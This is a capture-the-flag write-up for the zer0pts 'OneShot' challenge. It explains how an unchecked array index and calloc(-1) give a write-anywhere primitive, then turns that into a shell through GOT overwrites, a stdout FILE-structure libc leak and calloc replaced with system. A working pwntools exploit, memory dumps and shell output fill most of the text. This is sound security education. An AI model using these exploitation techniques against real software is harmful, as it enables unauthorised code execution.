OneShot

Description

And most importantly… you only have one shot.

Attachment: oneshot.tar.gz xpl.py

Team: Super Guesser

oneshot was a rather small binary with a simple oob-bug when reading an array.

void setup()
{
  alarm(0x3C);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
}

int main(int argc, const char **argv, const char **envp)
{
  int size; 
  unsigned int i; 
  int *chunk; 

  chunk = 0;
  size = 0;
  i = 0;

  // Read size for arry
  printf("n = ");
  __isoc99_scanf("%d", &size);

  if ( size > 255 )
    exit(1);

  // Allocate array
  chunk = (char *)calloc(size, 4);

  // Read index
  printf("i = ");
  __isoc99_scanf("%d", &i);

  // Read value to array[i] (no boundary checks)
  printf("arr[%d] = ", i);
  __isoc99_scanf("%d", &chunk[i]);

  puts("Done!");
  return 0;
}

So, first there’s an obvious oob write possible, since the index is not checked for any upper or lower limits, so we could write after the allocated chunk on the heap, but since we have only one allocation and one write, that alone wouldn’t lead us anywhere.

More important, if we define a size of -1 calloc will return a null pointer. Together with the unchecked index access, this gives us a write-anywhere primitive, since chunk[i] is pretty much *(chunk + (i*4)).

To do something useful, it would be nice, if we can have multiple writes. To get started, we can use this to overwrite puts.got to point back into main.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "pwn.ctf.zer0pts.com"
PORT = 9004

def exploit(r):
    log.info("Goto into infinite loop")

    r.sendlineafter("= ", "-1")
    r.sendlineafter("i = ", str(e.got["puts"]/4))   
    r.sendlineafter(" = ", str(e.symbols["main"]))
    
    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./chall")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
        exploit(r)
    else:
        LOCAL = True
        r = process("./chall", env={"LD_PRELOAD": "./libc.so.6"})
        print (util.proc.pidof(r))
        pause()
        exploit(r)
[+] Starting local process './chall': pid 11909
[11909]
[*] Paused (press any to continue)
[*] Goto into infinite loop
[*] Switching to interactive mode
n = $ 1
i = $ 1
arr[1] = $ 1
n = $ 1
i = $ 1
arr[1] = $ 1
n = $ 1
i = $ 1
arr[1] = $ 1

Now that we can do unlimited writes, it’s time to get some leaks. We don’t know the address of libc yet and with the size check

if ( size > 255 )
    exit(1);

we’re only able to allocate chunks on the heap. But we can eliminate this check by overwriting exit.got with something less annoying.

Pointing exit.got to setup worked out pretty well. The binary will still check the size, but continue execution afterwards and happily allocate a chunk with arbitrary size for us.

r.sendlineafter("= ", "-1")
r.sendlineafter("i = ", str(e.got["exit"]/4))   
r.sendlineafter(" = ", str(e.symbols["setup"]))

Being able to allocate huge chunks now, let’s just do exactly that.

# n > 0x100 now possible
r.sendlineafter("n = ", str(50000))

This chunk will be placed in a memory region directly before the first libc region

0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/kileak/ctf/zero/oneshot/oneshot/chall
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/kileak/ctf/zero/oneshot/oneshot/chall
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/kileak/ctf/zero/oneshot/oneshot/chall
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
0x00007ffff7da2000 0x00007ffff7dd5000 0x0000000000000000 rw- <-- Allocated chunk region
0x00007ffff7dd5000 0x00007ffff7dfa000 0x0000000000000000 r-- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7dfa000 0x00007ffff7f72000 0x0000000000025000 r-x /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7f72000 0x00007ffff7fbc000 0x000000000019d000 r-- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7fbc000 0x00007ffff7fbd000 0x00000000001e7000 --- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7fbd000 0x00007ffff7fc0000 0x00000000001e7000 r-- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6
0x00007ffff7fc0000 0x00007ffff7fc3000 0x00000000001ea000 rw- /home/kileak/ctf/zero/oneshot/oneshot/libc.so.6

Now, we can abuse the oob-index-access to overwrite things in libc :)

Since we’re still in need of leaks, stdout is a good target, so we just have to calculate the relative position from our allocated chunk to stdouts _IO_write_ptr.

0x7ffff7fc16a0:	0x00000000fbad2887	0x00007ffff7fc1723 <= Flags           / _IO_read_ptr
0x7ffff7fc16b0:	0x00007ffff7fc1723	0x00007ffff7fc1723 <= _IO_read_end    / _IO_read_base
0x7ffff7fc16c0:	0x00007ffff7fc1723	0x00007ffff7fc1723 <= _IO_write_base  / _IO_write_ptr
0x7ffff7fc16d0:	0x00007ffff7fc1723	0x00007ffff7fc1723 <= _IO_write_end
0x7ffff7fc16e0:	0x00007ffff7fc1724	0x0000000000000000
0x7ffff7fc16f0:	0x0000000000000000	0x0000000000000000
0x7ffff7fc1700:	0x0000000000000000	0x00007ffff7fc0980
0x7ffff7fc1710:	0x0000000000000001	0xffffffffffffffff
0x7ffff7fc1720:	0x0000000000000000	0x00007ffff7fc34c0
0x7ffff7fc1730:	0xffffffffffffffff	0x0000000000000000
0x7ffff7fc1740:	0x00007ffff7fc0880	0x0000000000000000
0x7ffff7fc1750:	0x0000000000000000	0x0000000000000000
0x7ffff7fc1760:	0x00000000ffffffff	0x0000000000000000
0x7ffff7fc1770:	0x0000000000000000	0x00007ffff7fc24a0

gef➤  p/x 0x7ffff7fc16c8 - 0x00007ffff7da2010
$4 = 0x21f6b8

The memory region for the chunk was somewhat off remote, so I needed some correction for this, but

if not LOCAL:
    r.sendlineafter("i = ", str((0x21f6b8-0x2000)/4))
else:
    r.sendlineafter("i = ", str((0x21f6b8)/4))
        
r.sendlineafter(" = ", str(0xff000000))

LEAK = r.recv(1000)

LIBCLEAK = u64(LEAK[0x55:0x55+8])
libc.address = LIBCLEAK - 0x1ed4a0

log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC      : %s" % hex(libc.address))
    
r.recv(5000)    # receive junk

gave us all the libc leaks we needed to calculate libc base.

[+] Opening connection to pwn.ctf.zer0pts.com on port 9004: Done
[*] Goto into infinite loop
[*] LIBC leak : 0x7fb3df8554a0
[*] LIBC      : 0x7fb3df668000
[*] Switching to interactive mode

The only call in the binary, for which we control the first parameter is calloc, so we can now again use a NULL chunk to overwrite calloc.got with system and call system("/bin/sh").

Since size is an int, we cannot reference /bin/sh from libc, but we can get easily around this, by just writing /bin/sh into bss first and then use that instead.

log.info("Write /bin/sh to bss")
r.sendline("-1")
r.sendlineafter("i = ", str(0x601050/4))
r.sendlineafter("= ", str(u32("/bin")))

r.sendlineafter("n = ", "-1")
r.sendlineafter("i = ", str(0x601054/4))
r.sendlineafter("= ", str(u32("/sh\x00")))

log.info("Overwrite calloc with system")
r.sendline("-1")
r.sendlineafter("i = ", str(e.got["calloc"]/4))
r.sendlineafter("= ", str(libc.symbols["system"]))

Now, all there’s left to do is to allocate a chunk with size 0x601050 and grab another flag.

log.info("Allocate chunk with size 0x601050 to trigger system('/bin/sh')")
r.sendlineafter("= ", str(0x601050))
[+] Opening connection to pwn.ctf.zer0pts.com on port 9004: Done
[*] Goto into infinite loop
[*] LIBC leak : 0x7f8fc21c54a0
[*] LIBC      : 0x7f8fc1fd8000
[*] Write /bin/sh to bss
[*] Overwrite calloc with system
[*] Allocate chunk with size 0x601050 to trigger system('/bin/sh')
[*] Switching to interactive mode
$ ls
chall
flag-c67f34c75fa877241c57d3fad1d05dbc.txt
redir.sh
$ cat flag-c67f34c75fa877241c57d3fad1d05dbc.txt
zer0pts{th1s_1s_why_y0u_sh0uld_ch3ck_r3turn_v4lu3_0f_malloc}